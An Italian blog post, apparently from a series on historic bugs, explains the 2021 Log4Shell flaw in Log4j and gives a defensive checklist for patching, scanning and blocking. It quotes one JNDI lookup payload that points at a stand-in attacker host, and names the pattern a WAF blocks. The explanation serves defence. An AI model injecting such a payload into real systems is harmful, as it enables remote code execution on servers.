BUG ARCHEOLOGY - Episodio 17: Log4Shell: quando loggare è diventato pericoloso
🧨 Quando un log apre le porte all’attacco
Dicembre 2021. Nel pieno delle vacanze natalizie, un ricercatore scopre qualcosa di incredibile: scrivere una semplice stringa in un log può portare al controllo completo di un server.
Basta questo:
${jndi:ldap://attaccante.evil/Exploit}
La stringa viene “loggata” da un’app. Nessun privilegio, nessun malware. Solo un log.
Log4j, la libreria Java che registra gli eventi del sistema, interpreta il testo, si connette all’indirizzo specificato, scarica codice… e lo esegue.
Così nasce Log4Shell — una delle vulnerabilità più gravi e diffuse nella storia del software.
🧠 Cos’è successo (spiegato semplice)
Log4j è una libreria Java usata per registrare messaggi e attività.
Era configurata per risolvere variabili dinamiche nei log (es.
${env:PATH}).Ma supportava anche
${jndi:...}, che può attivare connessioni esterne via LDAP o RMI.Un attaccante poteva inserire questa stringa in un campo qualsiasi (nome utente, User-Agent, form…) e, se veniva loggata, l’app eseguiva codice arbitrario.
In pratica: un messaggio di log diventava un telecomando per controllare il server.
🚨 Perché è stato un disastro globale?
Log4j è ovunque — in milioni di servizi, app, dispositivi e server.
Molti sviluppatori non sapevano nemmeno di usarla (era inclusa da framework e librerie di terze parti).
L’exploit era semplice da eseguire, anche da script automatici.
L’impatto andava da RCE (Remote Code Execution) a data breach, botnet, crypto mining e movimenti laterali nella rete.
🧰 Cosa fare oggi (checklist operativa)
✅ Inventario (SBOM): trova dove usi Log4j — anche in dipendenze indirette, container, immagini.
🔁 Patching: aggiorna subito a una versione sicura (>= 2.17).
🧪 Scanner: usa strumenti come
log4j-detector, SCA o scanner container.🔒 Blocchi & Mitigazioni:
Disattiva JNDI e risoluzioni dinamiche.
Blocca pattern
${jndi:...}via WAF o filtri input.
🔍 Log & Monitoraggio: cerca tentativi di exploit nei log passati.
🛡️ Segmentazione: riduci i privilegi delle app e isola servizi critici.
📚 Glossario essenziale
Log | Registro automatico di eventi e messaggi |
Log4j | Libreria Java per gestire i log |
JNDI | Interfaccia Java per cercare risorse in rete |
LDAP | Protocollo per accedere a directory esterne |
RCE | Remote Code Execution — esecuzione di codice a distanza |
SBOM | Software Bill of Materials — elenco delle dipendenze software |
WAF | Web Application Firewall |
Grazie per essere qui,
— Anairesis
CodexSprawl.com
Come sempre:
☕ Questo nodo della rete è alimentato da conoscenza libera e caffeina.
Se ti è utile, puoi supportare il progetto qui: Offrimi un caffè
🛰️ Non vuoi perderti il prossimo articolo?
Iscriviti alla Sprawlletter → codexsprawl.com/newsletter